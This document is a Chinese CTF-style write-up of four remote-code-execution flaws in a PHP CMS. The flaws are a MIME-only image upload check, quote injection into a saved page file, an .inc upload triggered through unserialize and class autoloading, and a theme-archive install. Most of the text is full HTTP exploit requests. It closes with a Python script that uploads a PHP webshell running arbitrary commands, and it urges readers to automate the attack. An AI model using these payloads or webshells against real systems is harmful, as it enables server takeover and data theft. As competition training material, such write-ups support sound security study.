1_103 web wp

此处显示的漏洞是代码中主要的漏洞，一般的漏洞均是可以getshell的，普通的eval通过代码审计即可发现，此处不再进行赘述。

图片上传：

在访问/admin.php?action=images时，可以发现存在文件上传漏洞，代码在文件上传时校验不严，漏洞代码片段如下：

```
//image.php
//Check if the file is JPG, PNG or GIF.
        if (in_array($_FILES['imagefile']['type'], array('image/pjpeg',
'image/jpeg','image/png', 'image/gif'))) {
                if ($_FILES['imagefile']['error'] > 0)
                        show_error($lang['general']['upload_failed'], 1);
                else {
                        move_uploaded_file($_FILES['imagefile']
['tmp_name'], 'images/'.$_FILES['imagefile']['name']);
```

漏洞利用流程：

1. 登录

```
POST /login.php HTTP/1.1
Host: 192.168.37.133:8888
Proxy-Connection: keep-alive
Content-Length: 36
Cache-Control: max-age=0
Origin: http://192.168.37.133:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://192.168.37.133:8888/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

cont1=12345678&bogus=&submit=Log+in
```

需要注意的是，此处管理员的密码是不可以修改的，所以登陆后台一定是能成功的（管理员的密码可以通过解密sha1可得，具体的密码位置请自行定位）

1. 上传

```
POST /admin.php?action=images HTTP/1.1

                                                    [3/49]
Host: 192.168.37.133:8888
Proxy-Connection: keep-alive
Content-Length: 294
Cache-Control: max-age=0
Origin: http://192.168.37.133:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundarykn0cxRBYFpjA92DI
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://192.168.37.133:8888/admin.php?action=images
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: {{cookie}}

------WebKitFormBoundarykn0cxRBYFpjA92DI
Content-Disposition: form-data; name="imagefile"; filename="{{hash}}.php"
Content-Type: image/jpeg


{{shell}}
------WebKitFormBoundarykn0cxRBYFpjA92DI
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundarykn0cxRBYFpjA92DI--
```

此处的{{shell}}为你要上传的webshell的内容。

修改页面

后台/admin.php?action=editpage存在修改页面的功能，可以用于植入后门。代码中存在少量过滤，但是可以很容易绕过，漏洞代码如下：

```
//editpage.php
if (isset($_GET['page'])) {
                        $seoname = save_page($title,
htmlspeicalchars($_POST['content']), $_POST['hidden'], $_POST['sub_page'],
$_POST['description'], $_POST['keywords'], $module_additional_data,
$_GET['page']);
```

此处，save_page的功能相当于是把配置写入文件中，但是因为此处的hidden参数没有过滤单引号，可以造成文件内容注入，进而引发RCE。

攻击步骤如下：

1. 登录 （不再赘述）
2. 修改页面

```
POST /admin.php?action=editpage HTTP/1.1
Host: 192.168.37.133:8888
Proxy-Connection: keep-alive
Content-Length: 150
Cache-Control: max-age=0
Origin: http://192.168.37.133:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://192.168.37.133:8888/admin.php?action=editpage
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: {{cookie}}

title=aaaa&seo_name=baidu.com&content=6666&description=&keywords=&hidden=';
{{shell}};//&sub_page={{hash}}&theme=default&save=Save
```

此处的{{shell}}为你要上传的木马的内容

文件上传+反序列化+spl_autoload_register

首先/index.php?action=save可以上传文件，虽然限制了后缀，但是可以上传inc文件。而php中的类自动加载机制，使用到了函数spl_autoload_register，可以通过反序列化初始化未知类来触发spl_autoload_register，进一步可以执行inc文件中的代码。漏洞代码如下：

```php
//save.php (文件上传)
//Make sure the file isn't accessed directly.
defined('IN_CMS') or exit('Access denied!');

extract($_POST);
if(isset($_POST['submit'])) {
    if ($_FILES['para32']['error'] > 0)
        show_error($lang['general']['upload_failed'], 1);
    else {
        if('php' == substr($_FILES['para32']['name'],-3,3)){
            die('Not allowed!');
        }
        move_uploaded_file($_FILES['para32']['tmp_name'],
'files/'.$_FILES['para32']['name']);
        chmod('files/'.$_FILES['para32']['name'], 0755);
        echo '<script>alert("上传简历成功!");window.location.href="index.php?
file=job";</script>';
    }
}
?>
```

```php
<?php
//upload.php (反序列化 + 类自动加载)
spl_autoload_register();
$filenames = isset($_COOKIE["filenames"]) ?
unserialize($_COOKIE["filenames"]) : [];
?>
```

漏洞利用流程：

1. 上传inc文件

```
POST /index.php?file=save HTTP/1.1
Host: 192.168.1.130
Proxy-Connection: keep-alive
Content-Length: 299
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryB5a7zPuVlnrKI26N
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

------WebKitFormBoundaryB5a7zPuVlnrKI26N
Content-Disposition: form-data; name="para32"; filename="e.inc"
Content-Type: text/plain

{{shell}}
------WebKitFormBoundaryB5a7zPuVlnrKI26N
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryB5a7zPuVlnrKI26N--
```

注意此处的文件名是e.inc，{{shell}}是你要执行的代码内容

1. 反序列化

```
POST /files/upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Cookie: filenames=O:1:"e":0:{}
User-Agent: python-requests/2.18.4
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: 192.168.1.138:23333

para32=sdOAQuVf.exe&submit=Upload&{{hash}}={{cmd}}
```

注意此处的Cookie中的序列化字符串，尝试加载名为e的类，因为此类不存在，所以autoload函数会尝试运行e.inc，从而造成任意代码执行

模块安装漏洞

主题安装/admin.php?action=themeinstall 存在漏洞，可以上传压缩文件，压缩文件在服务器端解压后，可以得到webshell， 漏洞代码位置如下：

```
 //themeinstall.php
                                  //Load the zipfile.
                                          $zip=new UnZIP($dir.'/'.$filename);
                                          //And extract it.
                                          $zip->extract();

                                          //After extraction: delete the zip-
file.
                                          unlink($dir.'/'.$filename);
```

漏洞利用流程：

在本地生成带有webshell的压缩文件，上传到服务器端，访问相应文件位置，即可获得webshell。

漏洞利用代码片段如下：

```
def vulnerable_attack(target,target_port,cmd):

    '''
    this is the payload script for vuln:

    /admin.php?action=themeinstall
    '''

    try:
        # This payload may not work under some php versions
        #payload = "('sy'.'stem')(('bas'.'e64_'.'decode')('%s'))==0"%cmd
        #print payload
        s = requests.session()
        url_1 = "http://%s:%d/login.php"%(target,int(target_port))
        url_2 = "http://%s:%d/admin.php?action=themeinstall"%
(target,int(target_port))
        my_hash = random_string()
        s.post(url_1,data="cont1=123456789&bogus=&submit=Log+in",headers=
{"Accept-Encoding":"identity","Content-Type": "application/x-www-form-
urlencoded"})

        shell_content = "<?php system($_REQUEST['%s']);?>" %my_hash
        file_name = my_hash + ".php"
        tar_name = my_hash + ".tar.gz"
                open('/tmp/%s'%file_name,'w').write(shell_content)
        res = os.popen('cd /tmp;tar cvfz %s %s'%
(tar_name,file_name)).read()
        debug_print(res)
        data = {"submit":"Upload"}
        files = {"sendfile":open("/tmp/"+tar_name,'rb')}
        s.post(url_2,data=data,files=files,headers={"Accept-
Encoding":"identity"})
        res = os.popen('rm /tmp/%s /tmp/%s'%(file_name,tar_name)).read()
        debug_print(res)
        data = '%s=%s'% (my_hash,quote(cmd))
        res = http("post",target,target_port,"/data/themes/%s"%
(file_name),data,headers=headers)
```

可以参照着写出自己的攻击脚本，并实现攻击的自动化。